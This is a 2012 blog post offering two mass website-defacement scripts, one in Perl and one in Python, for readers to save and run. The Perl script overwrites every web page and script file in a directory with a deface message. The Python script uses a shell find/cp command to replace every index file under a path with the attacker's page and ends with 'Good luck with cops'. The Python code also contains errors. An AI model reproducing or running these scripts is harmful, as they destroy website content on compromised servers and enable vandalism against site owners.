Monday, 23 April 2012

Mass Deface Script in Perl & Python



Here is a mass deface script in Perl . Save it as anything.pl  .

#!/usr/bin/perl -w

#Masss Defacer v2.0

# Coded By illuz1oN

# Creditz - Nostur

$def = 'YOUR LAME DEFACE PAGE HERE =)';

{ print "[+]DEFACING...\n";

print"[+]DEFACING .PHP FILES...\n";

my @php = glob("*.php"); #Files

foreach my $deface(@php){

open(DEFACE, '>', $deface);

print DEFACE $def || print "[-]Fxcked up: $!\n";

close(DEFACE)

}

print "[+]DEFACING .HTML FILES...\n";

my @html = glob("*.html"); #Files

foreach my $deface(@html){

open(DEFACE, '>', $deface);

print DEFACE $def || print "[-]Fxcked up: $!\n";

close(DEFACE)

}

print "[+]DEFACING .ASP FILES...\n";

my @asp = glob("*.asp"); #Files

foreach my $deface(@asp){

open(DEFACE, '>', $deface);

print DEFACE $def || print "[-]Fxcked up: $!\n";

close(DEFACE)

}

print "[+]DEFACING .ASPX FILES...\n";

my @aspx = glob("*.aspx"); #Files

foreach my $deface(@aspx){

open(DEFACE, '>', $deface);

print DEFACE $def || print "[-]Fxcked up: $!\n";

close(DEFACE)

}

print "[+]DEFACING .HTM FILES...\n";

my @htm = glob("*.htm"); #Files

foreach my $deface(@htm){

open(DEFACE, '>', $deface);

print DEFACE $def || print "[-]Fxcked up: $!\n";

close(DEFACE)

}

print "[+]DEFACING .JS FILES...\n";

my @js = glob("*.js"); #Files

foreach my $deface(@js){

open(DEFACE, '>', $deface);

print DEFACE $def || print "[-]Fxcked up: $!\n";

close(DEFACE)

}

print "[+]DEFACING .AC FILES...\n";

my @ac = glob("*.ac"); #Files

foreach my $deface(@ac){

open(DEFACE, '>', $deface);

print DEFACE $def || print "[-]Fxcked up: $!\n";

close(DEFACE)

}

print "[+]Pages Should Be Defaced!\n";

}

#Coded By illuz1oN

#Credits - Nostur!

}


Mass Deface script in Python . Save it as anything.py .

#Mass Deface Script by c0ax aka KaiT_AleX
#Greetz baltazar, b0ne, Toro, Melvin, Mikisoft etc.
#Usage: mass.py [sitepath] [tvojindexfajl]
#mass.py /home /tmp/index.php
import os, sys, time
print "Defaceing..."
print "Just wait and see the magic..."
time.sleep(1)
sajtpt = sys.argv[1]
indef = sys.argv[2]
inf = os.name()
exe = "find %s -name \"index.*\" -exec cp %s {} \;" % (sajtpt, indef)
os.system(exe)
print "Done..."
print "Good luck with cops"
print inf
print "Visit Hackingsec.in"
#EOF
#Script by Hacking Sec
}

No comments:

Post a Comment